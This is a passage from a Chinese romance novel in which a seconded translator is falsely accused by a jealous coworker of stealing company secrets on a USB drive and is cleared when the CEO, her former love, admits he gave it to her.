手在发抖,可姜挽却不敢回头,因为她清楚地知道,此刻除了陌生和别扭外,她的大脑正被另一类情绪控制,是悸动,是期待,是符合所有面对心上人时的暧昧和荷尔蒙。 可这些,她都不能让陈屿知道。 好在,陈屿的动作很快,不到一分钟便将纽扣系好了:“好了。”他退开一步,轻轻摩挲着指尖,那里刚才不小心碰到了她的后背,似乎还残留着她身上的体温。 “谢谢,”姜挽没敢看他,迈步就要走,“你快去换衣服吧。” “等一下,”陈屿却突然叫住她,“你刚才为什么会突然掉下去?” 姜挽愣了下,随即开口:“我要是说是被人故意陷害的,你会相信吗?” 陈屿拧眉看着她的背影,没说话。就在姜挽以为他不会相信,甚至有些后悔和他说这些的时候,他却再次突然开口:“是谁?” 这次,轮到姜挽不吭声了。 刚才的回答是情急之下太冲动了,现在想想实在没必要。她没证据,要是说了的话,不仅听起来像是在背后告黑状,而且也会给陈屿带来困扰。他没义务,也没有时间来帮她处理这些。 见她犹豫,陈屿冷哼一声,以为她是不愿意告诉自己,那她打算告诉谁?那个她口中的男朋友吗?情绪一上来,他就又回到了之前的模样,不自觉就戴上了那副冷漠刻薄的面具。因为,他真的是被伤怕了。 “怎么?你连她的名字都不敢说吗?搞了半天,你也就只敢和我横?” 说罢,连解释的机会都不给她,拿起衣服径直进了更衣室。 他进去了,姜挽也就没有必要再在这里等着了。而且看他刚才不悦的样子,想必换完衣服后也并不想看见她。 姜挽收拾好自己的湿衣服,再次看了一眼更衣室的方向,轻轻带上房门,从房间离开。不过她也没再回去,而是直接从酒店大堂出来,叫了车,直接回家了。 陈屿从更衣室出来后,见房间里空荡荡的,更生气了,接连抽了好几根烟才把内心的躁郁压下。 回去的路上,姜挽收到了林瑜发来的微信,林瑜还是一贯的直接,没有任何寒暄,上来就问她需不需要帮忙。看来,刚才发生的事情她应该也知道了。 事情发生后,她是除陈屿外第一个和她联系的人,而且还是关心她,姜挽难免有些动容。于是便把她已经回家的事情告诉了林瑜,还拜托她,要是有其他事情的话,麻烦微信和她说一声。 林瑜很干脆,立马回复微信说可以,还叮嘱她回家好好休息,有些事,有些人,不必放在心上。 姜挽明白她的意思,一场算不上意外的意外,她没办法向其他人证明。而且以她的性格,也不可能用同样的手段对方简简做出反击。所以,她现在只希望事情能早点过去,以后尽量避免。 只是她忽略了,要想生活平静,必须要双方都有这种想法才行。一旦有一方不愿意,那么接下来必将是无休止的谣言和风波。 58. 第 58 章 周末两天,因为周五那件事,姜挽在家短暂地给自己放了个假,什么工作都没做,单纯调整心情和状态。 长久以来形成的抗压能力和心理素质,让她很快便休整过来,周一再去公司的时候已经完全恢复了。她是准备心无旁骛开展工作的,可偏偏,有人不愿意。 刚进公司,便见方简简和其他几个外派翻译在聊天,见她进来,几人忙散开,很明显,她们讨论的话题和她有关。 姜挽没停留,她看见了,也装作没看见。这种事情她最近经历的太多了,没时间,也没心思去纠结这些。 接完咖啡,回来在座位上坐下,哪知刚打开电脑,旁边的方简简却突然朝她靠近,自从上次闹掰后,她们两人已经很长时间都没有如此近距离地接触过了。 空气中飘来一阵浓重的香水味。 “我听说上周五开会的时候你掉进游泳池了,怎么回事啊?”方简简杏目圆睁,故作惊讶,可仔细看的话就会发现,掩藏的眸色之下全是狡黠和得意:“不是我说你,那么大的地方你都能掉下去,也太不小心了吧?下次可得注意点,毕竟不是每一次都会这么幸运,刚好有陈总救你的。再说了,就算他救你,这传出去也不好听呀,要是陈总再因为这个事生病了,就更不值得了。” 她噼里啪啦说了一大堆,姜挽算是听明白了,不仅把她自己撇得干干净净,顺便还讽刺了她一波。 姜挽今天原本都已经做好心里建设了,只要方简简不提,她就不会再提这件事。她如今只想好好工作,并不想惹麻烦,可偏偏事与愿违。 输入电脑密码,点击“Enter”键,桌面出现了她上周没翻译完的项目文档,姜挽习惯性地再次点了保存。一个吐息的功夫,她转过身来,冷冷看着方简简:“是啊,那么大的地方,我当然不是自己掉下去的。刚好,借这个机会我也给大家提个醒,”她故意加大音量,“大家以后走路的时候尽量多注意,说不准从哪儿就突然冒出来一只脚,把你绊倒了,事后还要推脱责任,在旁边说风凉话。” 她这话虽没明说,可也已经足够指向明确了,一时间,大家都朝方简简看了过去,尽管都没开口,可意思也已经很明显了,姜挽口中的那个人,是她。 刹那间,方简简坐不住了,“腾”的一下从凳子上起身,恶狠狠瞪着姜挽:“你这话什么意思?暗指我绊了你吗?没有证据的事,你张口就来,就不怕我告你诽谤吗?” 姜挽不说话,只是直直和她对视着。 可能是心虚吧,方简简先露了怯,开始采用大声喊叫的方式来证明自己的清白,可声音越大,只会越显示她的惶恐。到最后,她甚至伸出手要来推姜挽,好在被旁边的林瑜拦下了。 事情闹得这样大,必然会惊动领导,没多会儿,她们两人便被叫进了林洁的办公室。 姜挽不惹事,但也不怕事,她以为只是一些沟通和调解,也做了心理准备。却没想到,自从进了办公室,方简简简直像是完全变了一个人,刚才的嚣张跋扈没了,咄咄逼人也没了,又拿出了她以往的那副清纯柔弱的样子,没说两句便开始掉眼泪,硬是把自己伪装成了无辜的受害者! 主动挑事的是姜挽,咄咄逼人的也是她,就连今天这场闹剧,也是因为方简简主动关心同事,是她姜挽不领情,不识好歹,破坏了同事关系! 一番解释下来,姜挽其实说的话并不多,她原本以为已经足够了解方简简了,可现在看来,还是太少了。 就像是洋葱,她只剥了最外面的一层,见识到了方简简伪善的一面,就以为这已经是她的底线了。殊不知,里面还有一层又一层,每一层都比第一层要呛人,也都比第一层要令人作呕。 意料之外,却也是情理之中。 见姜挽话少,方简简以为她是怕了,便继续连哭带闹地和林洁诉说她的委屈,最后,林洁都有些受不了了,按了按太阳穴,尝试打断她:“你先别着急,这件事情毕竟姜挽也是当事人,让她也说两句吧。” 方简简不服气:“林经理……” “我说了,让姜挽也说两句。”毕竟是当领导的人,关键时候还是镇得住场的,林洁这一开口,方简简虽不愿意,可也只是干瞪着眼,没再说话。 既然事情都已经发展到这个地步了,姜挽当然会说。她不仅要说,还要把上周五在酒店发生的事情,一五一十,全都仔仔细细地说清楚。 一时间,事情风向发生了变化,方简简瞬间成了恶意陷害同事,挑拨离间,影响工作氛围的一方。 被当中揭穿了,她当然不会认,急得跳脚:“不是这样的,林经理,她冤枉我,您不要相信她!” 林洁看着她,虽没开口,可眼神已经很冷了:“这件事情现在你们双方各执一词,一时间也做不了决断,先回工位吧,后续还需要继续调查,等有结果了我再通知你们。” 这个结果,姜挽是能够接受的,可方简简就不一样了,因为她知道,时间拖得越长,对她就越不利。 情急之下,她一不小心说了逾矩的话:“还调查什么呀,事情不是已经很清楚了吗,就是她的问题!”她指向姜挽,像是一直期待的目标就在眼前,急不可耐,“把她开除!” “方简简!现在我做事情都要你来安排了吗?要不要我这个位置也让给你来坐?” 林洁发火了,越是这种平时不轻易发火的人,发起火来才最吓人:“先不说现在事情并不明朗,就算搞清楚了,如何处理那也是人事的工作,不是你三言两句就能决定的。再说了,考虑到类似的事情之前也发生过,之前你和林瑜也闹过这样的矛盾,所以这一次,我们会更加仔细谨慎地对待。不会冤枉好人,但也绝对不会包庇陷害同事的员工!” 一番话,掷地有声,又铿锵在理,方简简瞬间慌了神。她绝对不能让她们去慢慢调查,也不能把之间和林瑜的那些事再牵扯进来,要真是这样的话,她就完了! 她必须把目标全都集中在姜挽身上! 心念一动,她大叫一声:“我要举报!举报姜挽盗取公司机密!” 此话一出,姜挽和林洁同时愣住了,姜挽是莫名,林洁则是觉得气愤。 “方简简,饭可以乱吃,话可不能乱说!”林洁拍案,“你得对你说的话负责!” “我当然负责了,”方简简冷笑,也顾不得掩饰一二了,偏执得像个赌徒,“你要是不信,可以去调查她啊!她有一个U盘,里面的资料我看过,涉及各种GSC的翻译资料,那种级别的信息,绝不是我们这种外派翻译能够拿到的。所以只有一种可能,那就是她私下对公司机密信息进行了盗取!至于想要拿着这些资料做什么,我就不知道了。” 到此,姜挽终于明白过来了,方简简指的是之前陈屿给她的那个U盘,可她从没在公众场合使用过,所以…… “你私自动我东西?” 方简简倒是没否认,而是快速转向林洁,简直有些疯癫:“您看,她承认了!你们快去找人调查她呀!晚了等她把资料销毁了,就来不及了!” 看着这场闹剧,林洁也有些无奈。坦白讲,她对姜挽的为人是非常认可的,入职这段时间,她从不作妖,总是尽职尽责地完成了工作。而且方简简这人她之前也有接触过,知道她也不是什么老实本分的人,所以这件事从一开始,她情感上是站在姜挽这边的。 可现在突然出了一个这么大的岔子,方简简竟然举报她“盗取公司机密”,这性质就完全不一样了。 两个同事之前的部门内部矛盾,和公司的合规问题相比,完全不在一个层面。 她叹一口气:“姜挽,针对这件事情,你有什么想说的吗?” 姜挽这会儿已经冷静下来了:“林经理,我也不是第一天参加工作了,有些职场原则和公司合规我很清楚,绝对不会触犯的,”她先表明了自己的立场,才继续解释道,“事情完全不是方简简说的那样,我确实是有一个U盘,但那是我个人的物品,和公司资料无关,更不存在盗取公司信息的情况。” “那U盘里的资料为什么涉及GSC信息,这个U盘又是从哪里来的,你能解释清楚吗?”林洁还没说什么呢,方简简倒是抢了先。 林洁瞪了她一眼,转而面向姜挽,神色虽严肃,却并不压迫:“没事,你说吧,这个U盘的来源只要你能说清楚,公司合规那边也不是不能解释。” U盘是…… 姜挽的心里此时有两股东西在较劲,一股是按照自己的本能,说吧,把事情的来龙去都脉解释清楚,知道这个U盘是陈屿给她的之后,公司肯定就不会再继续追究了。 可理性思考后,就有另外一种想法出现。陈屿当初给她这个U盘是出于项目考虑,为了提高她工作效率和能力的。现在她要是把他说出来,不仅不地道,甚至还会触犯到他的边界。毕竟,这段时间接触下来,陈屿从不掩饰对她的反感,自然也就不会想要在公众场合和她扯上关系。 “抱歉,”她思索片刻,坦诚道,“这个U盘的来源我现在不能说,但我能保证的是,我绝对没有盗取过公司的信息。” “你保证?你拿什么保证?”方简简丝毫不给她喘息的机会,“是拿你那本就没多少的道德底线,还是低劣的人品?” “行了,你们先出去吧,”林洁也有些焦躁,她也是第一次遇上这种事,“这件事我需要联系合规部门来处理。” 出了办公室,在还没有任何正式通知的情况下,方简简便擅自和其他同事开始传播“姜挽盗取GSC机密信息”的事儿。 一传十,十传百,下午的时候,整个公司基本都已经知道了。合规部门迫于压力,也是为了避免舆论进一步发酵,暂时关闭了姜挽的工作权限,并没收了她的办公电脑。就连那个U盘,为了配合调查,也一并收上去了。 接着HR又来找她,还是当初帮她办理入职的那位,通知她这两天可以先回家休息,等这件事情调查清楚后再考虑后续的工作安排。 工作这么长时间,这种事情姜挽还是第一次遇到,因为没经验,一时也有些六神无主。 沈繁星不能说,她离得远,也不属于GSC,说了只会徒增她的烦恼,让她一起跟着着急罢了。林瑜也不行,自己和人家也不是很熟,况且她也属于翻译部,这个时候,多少也应该避避嫌。 那就只有…… 姜挽的指尖停在联系人清单“周海”的名字那里,有些犹豫。在GSC,因为工作的原因,她和周海接触还算多,而且电脑被收,她唯一担心的也就是尼斯项目的翻译。 正当她犹豫不决之际,电话铃声突然响了起来,恰巧是周海给她打来的。 姜挽接起来:“周经理。” 周海那边像是在外面,背景声音很嘈杂,而且他也很急,连姜挽的名字都没来得及叫,上来直接说事:“事情我听说了,公司这不是瞎搞吗,你怎么会盗取机密呢?你就不是这样的人!” 姜挽很感谢这个时候他还能这样相信她,但GSC确实也有一套合规流程:“周经理,这件事我没做过,我也不怕被调查,只是尼斯项目的翻译可能会被耽误几天。不过您放心,一旦事情解决,我会立马加班把延迟的翻译补上的。” 周海在电话那头叹了口气:“其实项目的事情是小,这个项目虽说交期着急,可两三天的缓冲还是有的,况且你能力强,我一向相信你,关键是…… 他顿了下,接着像是换了一个地方,背景声音一下子就小了许多:“关键是对你个人的影响,这点你得注意。其实我在给你打电话之前,已经先和林洁联系过了,她也和我说了,无非就是一个U盘的事情,只要你能解释清楚,后面这些繁琐的流程也就不需要再继续了。听我一句劝,要不你就和合规部门解释一下吧?” 同样的意思,之前在办公室的时候,林洁也表达过,坦白讲,这种情况下他们还能替她考虑,姜挽很感激。 起风了,她的额发被吹起,姜挽有一瞬间的恍惚,可不过短短一秒,她便再次坚定信念。 几年前她对陈屿做的那些事情皆是不得已,当时她没有选择的权利。可如今她是一个拥有独立意志的主体,可以自主选择任何想做或者不想做的事情。所以,她再也不要利用他,再也不会为了自己的利益去做出可能会伤害到他的事情。 在沉静的日光和早秋的凉风中,她做了一个决定,其实也称不上是刚做,这个想法她一直都有,只是今天再次坚定了而已:她再也不要伤害陈屿,她也要保护他。 “周经理,抱歉,这个我真的没办法说,请您理解。” 她这么说,周海基本也就明白了,没再继续劝她,只让她安心等着,这两天就当作是放个假,好好休息休息。 这一等,就到了两天后,等到陈屿出差回来的那天。 陈屿刚从外面回来,就听说了这件事,心烦得厉害,进办公室后,“啪”的一声将西装外套扔在了办公桌上。他想不明白,他不过才离开了两天,出了两天差而已,就发生了这样的事? 不过他心烦一半是因为这,另一半则是因为姜挽在被如此对待之后,竟然没有联系他。 宋泽宇跟在他身后,小心将外套收起,仔细挂在旁边的衣帽架上。刚整理完,恰巧看见周海进来,朝他使了个眼色,算是提醒他陈总现在心情不好,便离开了。 陈屿心情不好,周海也看出来了,他每次心情不好的时候就爱抽烟。此时缭绕的烟雾掠过陈屿的眉眼,隐约间,把他衬得更冷了。 可再冷,周海也得说:“陈总……” 他刚开了个口,就被陈屿打断:“要是工作的事,你就别说了,我现在没心情听这些。” 周海愣住了,想了想,觉得这也不全是工作的事。况且他这两天就一直在等着陈屿回来,怎么可能轻易放过这个机会。周海顺着他刚才的意思,换了副口吻:“不是,不是,是个人的事情,主要关系到姜挽。” 话音落,陈屿偏过头来,扫他一眼。 不冷不热的一眼,周海实在辨不出他的情绪,可还是继续开口道:“这两天发生的事情,想必您也知道了,不过我敢保证,姜挽一定是被冤枉的,她不是这种人。” “哦?”陈屿终于有了点反应,抬起眼皮,将烟蒂捻灭在烟灰缸,像是很感兴趣,“你继续说。” 周海这才有了点底气,拉开凳子在他对面坐下,端着肩膀,格外认真:“虽然我和她认识的时间不长,但凭着点这么多年的生活经验,自认为她是怎么样的一个人,我还是能看清楚的。”他倾身向前,满眼诚挚,“那就是一个不争不抢,踏踏实实干事的小姑娘,盗取公司机密这事,她是绝对不会做的。” 陈屿当然知道了,他比任何人都知道,因为这件事的源头——U盘,就是他给她的。他只是不明白姜挽为何不把这件事情说出来? 是不敢?还是不想? 虽然很不愿意承认,可他觉得二者相较,还是第二个理由更有可能。 她是不想。 不想和他再有任何牵扯,即便是这个牵扯能在关键时候帮助她。 越想,心越沉。 可陈屿掩饰得很好,内心虽思绪万千,面上却不显。周海见他没反应,还以为他是不相信,毕竟联想到之前的几次接触,他好像都是比较针对姜挽的。 于是,他换了个赛道,打算从业务入手:“再说了,尼斯项目现在正是进度紧张的时候,翻译这部分可拖不得。这一块之前都是由姜挽负责的,她翻译专业,速度也快,给项目提供了很大的支持。要不,”他顿了下,因为知道接下来说出口的话可能有些越界了,“要不您再看看,这件事能不能从轻处理?早点解决,对公司项目也是有好处的。” 陈屿压根就不在乎什么项目,他在乎的,从始至终都是姜挽的想法。单手抚着额角,他假装不在意:“这件事她自己怎么说?U盘的来历能解释清楚吗?” 这也是周海没什么底气的地方:“这个……她说是不方便说,不过我问过了,她保证来源合法,绝对没有盗取公司机密。” 陈屿追问:“那她有没有说为什么不能说?是因为某个人?还是有其他的隐情?” 周海也犯难:“这倒没有,涉及到这个话题的,她挺坚决的,明确表达了不想说。” 果然如此。 不想说,不想暴露和他的联系,更不想和他扯上关系。 陈屿又燃了一支烟,飘忽不定的白烟,一如他此刻的内心,没有支点,永远无法着陆。 “你先出去吧。” 周海点头。 该说的都说了,该做的争取他也已经做了,余下的,就看公司的决定了。临走前,他还留了最后一句:“那这件事您再多考虑考虑,她不说,可能确实有她自己的顾虑,但她的人品和能力,大家都是有目共睹的。” 周海刚走,合规部门的负责人就来了,这件事情他虽已经在邮件里做了详细的说明,可按公司规定,还是需要当面和陈屿进行汇报。 陈屿心里只有姜挽,对他这些冗长的汇报一点耐心也没有,好不容易熬到他说完,一秒也没再等:“所以,现在结论到底是什么?” 见他生气,负责人很惊慌,可他也不知到底哪句话说错了,于是只得战战兢兢地继续开口:“结论就是,U盘里的东西确实有一部分是公司的信息,但基本都是翻译,并不涉及到机密。” U盘是陈屿给的,里面有什么东西,他再清楚不过了。之所以要多此一举问这个问题,就是要从合规方面,从公开公正的方面给姜挽一个公道,不在公司层面留下任何把柄,以防日后有人在背后议论。 “接下来是什么流程?”他追问。 负责人刚放松了几秒,立马又再次紧张起来:“虽说不涉及机密信息,可U盘毕竟存在,接下来我们会和当事人进行沟通,先了解U盘的来源和她的想法,再确定最终的处理方案。” 陈屿十指交叉,身体往前倾:“这个沟通的会,我也参加。” “没……没问题。”虽然这种情况以前从没遇到过,可老板要求的,负责人也不敢不同意。 一场战战兢兢的汇报,眼见着终于要结束,负责人擦着冷汗和陈屿道别,可没想到刚转身,却突然再次从身后被叫住,他转过来,脸一阵煞白:“陈总,您还有其他什么吩咐?” “那个举报姜挽的人叫什么?”虽然这个名字已经在陈屿眼前出现过很多次了,可他还是没记住。 “方简简。”负责人连忙回答。 “对她开启单独的调查。” “好的,我马上去办。”负责人松一口气,还好只是一个简单的调查工作。 在家的第三天,姜挽接到了GSCHR打来的电话,电话里说需要她下午去公司一趟,有些事情需要当面和她谈论,问她方不方便。 姜挽当然方便了,这几天她虽然在家,可情绪也不大好,翻来覆去总是想着这件事,主要是担心因为她自己的原因,给项目带来影响,从而对佳译造成损失。现在被通知了,她倒是也不用再继续纠结了,是福是祸,是死是活,总归是要有一个结论了。 只是没想到,到了公司,在揭开这个盖子的前一秒,她还被恶心了一下,很不幸地和方简简在走廊碰见了。 这会儿走廊里没人,很安静,全部的声音都只有方简简的高跟鞋落在地上的“哒哒”声。她趾高气昂地朝姜挽走来,绕着她打量了一圈,还真是一点挖苦姜挽的机会都不放过:“你脸皮还真是厚,做了这种事情竟然还有脸来公司?” 她嗤笑,低头来回欣赏着自己新做的指甲,“不过啊,脸皮再厚也没用,这个社会,并不是谁不要脸,谁就能赢。看在一起工作过一段时间的份上,我不妨告诉你,像你这种情况,结果只有一个,那就是——”她凑近,最后两个字咬得格外用力,“开除。” 姜挽退开两步,俯视着她,没有愤怒,只有平静。几次交锋下来,她已经摸清方简简的套路了,无非就是一些下作手段加言语攻击,不在意,自然也就不会被影响:“同样的话,我也送给你,这个社会,并不是谁不要脸,谁就能赢。” 有些人很奇怪,一旦你拿她和你说的话回怼她时,她就受不了了,方简简此时就是这种情况,怒目圆睁,咬牙切齿,很不客气地推了姜挽一下:“你说什么?你有种再说一次!” 方简简的声音吸引了屋内其他同事的注意,大家纷纷往这边看,却没人出来制止。因为她俩最近这事,大家基本也都知道了,在事情没有清晰明朗之前,没人愿意趟这趟浑水,都想着明哲保身。 就这么僵持了会儿,主要是方简简一直纠缠,姜挽要走,她一直不让,林瑜从外面回来看见了,走过来,一把扯掉方简简攥着姜挽的手臂:“你干嘛呢?大庭广众之下还搞恶意欺负这一套,是真的一点也不把员工手册放在眼里吗?” 方简简刚想发火,一看是林瑜,又气又怕:“你哪只眼睛看到我欺负她了?明明是她出言污蔑我,我维护自己的权益,让她给我道歉而已。再说了,我们俩的事,和你又有什么关系?” “我看不惯行吗?” “看不惯?”方简简冷笑,“要看不惯,你也应该是看不惯她吧?姜挽先是盗取公司机密,今天又在大庭广众之下侮辱我,我只不过是在维护公司和自己的利益,又做错了什么?” 她说的话,林瑜一个字都不会信,因为她贯知道方简简就是一个颠倒黑白,诬陷他人的性格。 林瑜厌恶地看着她:“姜挽不会做这样的事,这些事要是放在你身上,还有几分可信度。” 方简简一时愣住了,她没想到林瑜会这么直接,也没想到她会这么维护姜挽。在她眼里,林瑜一直都是一个不爱交际,也不爱管闲事的人,也正是因为这个原因,她当初才能把她孤立。 局势瞬间变换,现在她是一个人对两个人,方简简瞬间没了刚才的那股傲气,又因为之前诬陷过林瑜,也很 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“姜翻译,请进,您坐这儿吧。”HR先和她打招呼,指了指他们对面的一个座位。 姜挽机械地应声,又在他们的注视下,机械地坐下。视线在对面来回看一圈,她还是不太能理解。 HR和合规同事在,这是工作。林洁在,也可以理解,她是翻译部的领导,代管外派翻译,姜挽出事,她参会也是应该的。还有周海,也说得过去,他是尼斯项目的负责人,姜挽参与的主要项目就是这个,考虑到项目情况,他来也是正常的。 唯独陈屿,她怎么也想不明白。难道GSC对这种问题看得这么严,已经到了需要公司总裁出面的地步了? 见她有些紧张,HR开口,先给这场会议定了个基调:“您不用紧张,今天并不是什么批斗大会,事情我们已经调查清楚了,不是什么非常严重的性质,今天叫您来也只是为了再做一些了解而已。” 姜挽心里有数了。 接下来,确如HR刚才说的那样,整个沟通也还算友好,并没有拿各种法律和条款来压她,只是说虽然查到了U盘里的东西,但并不是什么机密信息,她要是能解释清楚这U盘和信息的来源,事情也就可以进行简单的处理。 又绕回之前那个问题了,只不过不同的是,前几次陈屿都不在,这次他就真真切切地在她眼前,和他们一起,等着她的回答。 两厢对视,各怀心事。 她不能说,姜挽想,之前几次她都没说,这次陈屿在眼前,她若是突然承认,不就是赤裸裸地打他脸,出卖他吗? 或许她会说,陈屿想,如今他在这里,她或许会改变主意,选择向他寻求帮助,他甚至连后面的话都想好了…… “非常抱歉,这个问题,我真的没办法回答。” 起风了,叶落了,心也沉了。陈屿仿佛又听到了下雨的声音,八年前的那场大雨,到现在还浇在他心头。 姜挽说完,HR和合规同时叹气,林洁和周海忙又开口劝她,只有陈屿没开口,冷冷盯着她。从他这冷漠的眼神里,姜挽看出了点其他的东西,不像是解脱,反倒更像是怨恨和失望。 到最后,姜挽还是不愿意说,HR只好告知她公司的正常处理结果,虽说不必到开除那么严重,可也会被记大过,年终奖金和项目奖金更是会因此受到影响。 姜挽坦然表示她都接受。 到这一步,其实已经没什么再说的了,事实清晰,双方也都接受,正当在场的人都以为这件事情会就此了结时,一道意想不到的声音突然响起,更让人没想到的,是他开口的话:“这个U盘,是我给她的。” 一时间,会议室鸦雀无声。等大家反应过来是什么情况后,更是面面相觑。 说这话的可是陈屿,是他们的老板!如果事实真如他所说,这个U盘是他给姜挽的,那他们之前做的那些事又算什么?一直逼问姜挽这U盘的来历又算什么呢? 沉默,漫长又无措的沉默。 姜挽也没想到他会突然这么说,和她一开始的预设,以及这些天的努力完全不一样,她着急,想解释:“不是,这个U盘其实……” “姜挽,”陈屿打断她,朝她看过来,窗外明明有阳光,也确实落在他的眼睛里,可他的眼神却依旧冰冷得如冬日的寒冰,冷漠,不耐,还有怨恨,“我做过的事情,还轮不到你来帮我隐瞒。” 瞬间,姜挽不说话了,是说不出来。面对处分时她可以无甚波澜,甚至能够坦然接受,可一旦面对陈屿,她就总觉得心里像是空了一块,语言和大脑都跟不上反应。 周海先是震惊,随后迅速反应过来帮忙打圆场:“Annie,这就是你的不对了,既然资料是陈总给的,又有什么不能说的呢?还绕这么大一圈,让大家都误会了。”他转头和HR以及合规解释,“不过这事儿啊,算下来还是我的责任最大,尼斯度假村这么大的项目,陈总有顾虑也是应该的,监督翻译这事儿其实是我的工作职责,应该是由我来盯的,都怪我考虑不周,还要劳烦陈总帮忙,是我工作的失误,以后我一定注意。” HR和合规这时候哪还敢开口,一个比一个脑袋垂得低,就怕陈总反过来找她们麻烦。 林洁也出来帮姜挽说话:“是啊,我早就说过了姜挽不是这种人,现在一看,还真是搞错了。不过这也不能怪大家,毕竟是有人实名举报,仔细点总是没错的。只不过让姜挽受委屈了,上周还被她推进水里,这周又被诬陷,真是可怜。” “你说什么?”陈屿突然接了她的话。 林洁吓一跳,虽然她是翻译部的经理,但老实说,平时和陈屿接触的机会并不多,见他又一直都是冷冰冰的,所以这会儿突然被问,也有点害怕:“我说……姜挽是被冤枉的。” “上一句?” 林洁费力思考:“她上周五还被方简简推进了水里……” 陈屿要的就是这句,这还真是欺负到他头上了,他转向HR:“这个人,立马给我开掉。” 这一波又一波的,HR根本反应不过来,只凭着职业本能回答:“陈总,她没有重大的过错,也没有……” 陈屿没耐心听她说完:“无论付出多大代价,这个人,必须开掉。”然后,许是为了给自己这失控的情绪找个借口,他补充道,“GSC绝对不会允许这种人在这里工作。” 说罢,他起身,掸了掸西装下摆,径直从会议室离开。 他走后,大家都松了一口气。 HR和合规率先和姜挽道歉,说这件事误会她了,希望她不要介意。接着周海和林洁又来安慰她,也告诉她这件事情就算是这么过去了,不要放在心上。 这件事情里,周海和林洁帮了她多少,姜挽是非常清楚的,所以对他们的话,她当然也只有感激,一再表达对他们的感谢,并保证以后肯定通过好好工作来回报。 事情虽然解决了,可姜挽还不能立马回办公室,主要还有流程要走,得等GSC的审批正式完成了,才能把电脑和U盘还给她。 回家的路上,姜挽第一件事就是给林瑜发微信,告诉她事情已经解决了。林瑜也替她高兴,微信里安慰她不用担心工作,刚好趁这个机会多休息两天,自从来了GSC就没见她怎么休息过。 林瑜是利落的性格,很快便结束了和她的对话。只不过聊天结束后,姜挽却久久没有从微信里面退出来。 这个点地铁里人不多,风吹动车厢,有轻微嘎吱晃动的声音。 想了很久,姜挽还是点开了和陈屿的聊天对话框,再三斟酌,最后还是尽量简短地发了一句话过去:【刚才,谢谢你。】 她以为陈屿不会回的,也做好了他不回复的准备,毕竟刚才在会议室里他看她的眼神,她也注意到了。可没想到,没过多久,陈屿便回了过来,只不过说的话和这件事没有任何关系。 【你就这点心理素质?屁大点事,至于把自己搞成这样吗?】 姜挽没懂他的意思,可还是不自觉垂下眼睫,有些慌张:【我……怎么了?】 打完字,她打开手机前置摄像头看了眼,除了脸色有点憔悴,其他看不出来什么。 陈屿回得很快,一来一回不过几秒之间:【你在家都不照镜子的吗?看看你那脸瘦的,脸上除了眼睛,还能看到其他五官吗?】 姜挽也没想到他指的竟然是这个意思,本以为他是担心影响工作,一时间也有些语塞:【……我会尽量调整的。】 陈屿真是一点面子也不给她:【你最好这样,不然佳译派一个心理素质这么差的人过来,GSC也不会放心和你们合作。】 直接、坦率、不留情面,是他的风格。隔着手机,姜挽似乎都能感觉到他身上那股桀骜又不耐烦的劲儿。 她没什么好辩解的,老老实实发了一个“知道了”过去,料想她这句话之后陈屿不会再回复,事实也果然如此。 可不回复,并不代表陈屿不在意,相反,这件事如今于他而言是最重要的一件。 退出微信,他便立马给HR和合规的负责人发了一封邮件,邮件里要求他们尽快去处理此事,下周一上班,他要看到最后的结果。 周末下了两天雨,雨很长,长到周一方简简接到自己被开除的通知时,发丝还挂着刚从外面进来时沾上的雨滴。 她盯着邮箱里HR发来的邮件,简直不敢相信,雨滴顺着发丝滴落在桌面,“啪嗒”一声,她才反应过来。 第一个动作就是扔东西。 鼠标、资料、办公文具,所以在她视线之内的,全都一股脑被她掀在了地上。 她实在是想不明白,如此证据确凿的事情,不仅没等来姜挽离开,反倒等来了自己被开除的通知? 她当然不接受了,吵闹着要去找HR要一个说法。 HR早有准备,关于她违规,旷工,乃至损害公司利益的证据,公司手里都有,可即便如此,GSC还是愿意按最高的补偿方式让她离开。 “2n+1,是我们目前能够给到的最高的条件。” 哪知方简简听后却冷笑,别说2n+1了,就算是+2、+3,她都不可能接受。她看中的根本就不是眼前这个外派翻译的岗位,而是以后的转正,是能够在GSC干到退休的长期稳定发展! “我不接受,坚决不接受!” 她一句话掷在地上,HR也没办法:“既然这样,那么接下来这件事情会移交给公司法务,会后续由法务来和你对接。” 说罢,HR打算走,方简简却大步拦住她,这个时候了,她还不打算放过姜挽:“我不知道姜挽是使用了什么手段才躲过了这劫,但既然她的问题都能解决,我的为什么就不可以?” HR也是看她癫狂,不想再引起不必要的麻烦,离开前,半是劝说半是警告地留了一句:“你情况特殊,不会有任何转圜的余地。”